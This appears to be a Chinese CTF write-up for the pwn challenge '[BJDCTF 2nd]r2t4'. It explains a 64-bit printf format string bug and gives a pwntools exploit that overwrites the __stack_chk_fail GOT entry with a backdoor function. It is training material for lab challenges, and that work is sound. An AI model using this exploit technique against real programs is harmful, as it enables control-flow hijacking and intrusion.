格式化漏洞——[BJDCTF 2nd]r2t4

默认操作

 

 

 

 

 

 可以看到printf存在格式化字符串漏洞,可以修改got表

此时看到一个后门函数

 

 

 还发现一个

 

 

 网上查了一下就是当栈溢出时调用这个函数

那么基本思路就是通过格式化字符串漏洞修改stack_chk_fail的got表为后门函数,然后造成栈溢出调用后门函数

然而这道题是64位,和32位格式化漏洞有所不同

参考一下文章https://blog.csdn.net/weixin_44864859/article/details/105129673

大致来说就是

1.一般payload构造都是地址+%xc%x$n  (x为偏移和填充的字符数)

在64位中由于地址的0过多当printf打印到地址是会造成遇到0停止,后面的就不执行了,所以将两者位置互换,此时偏移也要计算一下

2.使用%xc来代替‘a’*addr,因为字符太多可能传不过去

3.使用%hn或%hhn来代替%n防止太大

首先先计算偏移

 

 

可以看出buf的偏移为6

然后构建payload

payload="%64c%9$hn%1510c%10$hnaaa"+p64(addr_got+2)+p64(addr_got)

 

 想要赋值的地址如上图

40比626小,为方便就先赋值高位在赋值低位

偏移为6+3=9,6是buf本身的偏移,3是输入字符串+aaa有24字节,所以在+3偏移

 

 

 exp:

from pwn import *
from LibcSearcher import *

elf=ELF('./r2t4')
#p=process('./r2t4')
p=remote('node3.buuoj.cn',27463)
addr_got=elf.got['__stack_chk_fail']
payload="%64c%9$hn%1510c%10$hnaaa"+p64(addr_got+2)+p64(addr_got)

p.sendline(payload)
p.interactive()

什么时候才能脱离一分题啊!!!

//看了一眼还有50多道,我吐了

 

 

 

 

         

 

posted @ 2021-03-10 13:42  Haokunnnnnnnna  阅读(171)  评论(0编辑  收藏  举报